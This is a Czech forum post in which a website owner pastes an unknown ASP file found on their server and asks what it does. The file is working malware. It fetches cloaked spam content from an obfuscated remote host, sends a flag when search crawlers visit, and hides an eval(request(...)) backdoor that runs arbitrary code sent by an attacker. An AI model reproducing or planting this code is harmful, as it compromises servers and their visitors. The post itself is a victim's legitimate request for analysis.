Ahoj,
mam web, kde se me objevil soubor, ktery neni muj a zatim nevim, jak se me tam dostal,
otázkou ale je, co to dela, protoze mi to neni vubec jasny,
prikladam a dekuji za pripadne objasneni:
<%
'this is important file, if you are not professional of the web source,please do not change any code and del it
'power by googles.com
'autoer googles@googles.com
Session.CodePage=65001
Response.charset = "UTF-8"
txtt = Request.QueryString("txt")
If txtt = "txt" Then
Response.Write txtt
Else
pathfilename=trim(Request.ServerVariables("SCRIPT_NAME"))
name = Replace(pathfilename,"/","")
im = please&admin&"/ugg/get.php?file="&name&"&"&check&"&"&"from_url="&CUrl&"&"&Request.QueryString()
If second(time())>30 Then
im = im & "&now="&now()
End If
Response.Write page(im)
On Error Resume Next
Server.ScriptTimeOut=9999999
End If
Function page(Path)
t = GetBody(Path)
If len(t)<2 Then
t = "no thing"
End If
page=BytesToBstr(t,"UTF-8")
End function
Function Newstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
if Newstring<=0 then Newstring=Len(wstr)
End Function
Function please()
please =Replace(Replace("hmmp:gg","m","t"),"g","/")
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Function admin()
admin = Replace(Replace(Replace("english;_0_x_0_n,com","_",""),";","."),",",".")
End function
Function GetBody(url)
on error resume next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.setRequestHeader "Host", Request.ServerVariables("HTTP_HOST")
.setRequestHeader "User-Agent", Request.ServerVariables("HTTP_USER_AGENT")
If Request.ServerVariables("HTTP_REFERER")<>"" Then
.setRequestHeader "Referer", Request.ServerVariables("HTTP_REFERER")
End If
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
Function CUrl()
Domain_Name = LCase(Request.ServerVariables("Server_Name"))
Page_Name = LCase(Request.ServerVariables("Script_Name"))
CUrl = "http://"&Domain_Name&Page_Name
End Function
eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")
Function check()
user_agent=Request.ServerVariables("HTTP_USER_AGENT")
allow_agent=split("Googlebot,Spider,Yahoo! Slurp,Yahoo!,msnbot,bingbot,ia_archiver,YandexBot,AhrefsBot,altavista,Inktomi slurp,lycos_spider,twiceler,Heritrix,Exabot,Custo,yacy,SurveyBot,Nutch,Fish search,WGet tools,MSIECrawler,Netcraft,unix ,Linux ",",")
check_agent=false
For agenti=lbound(allow_agent) to ubound(allow_agent)
If instr(1,user_agent,allow_agent(agenti),1)>0 then
check_agent=true
exit for
end if
Next
If check_agent=true then
spider = "spider=true"
Else
spider = "spider=false"
End if
If instr(1,user_agent,"Chrome",1) and instr(1,user_agent,"1024×768",1) then
check_google=true
Else
check_google=false
End If
If check_google=true then
spider = spider&"&c_g=true"
Else
spider = spider&"&c_g=false"
End if
check=spider
End function
%>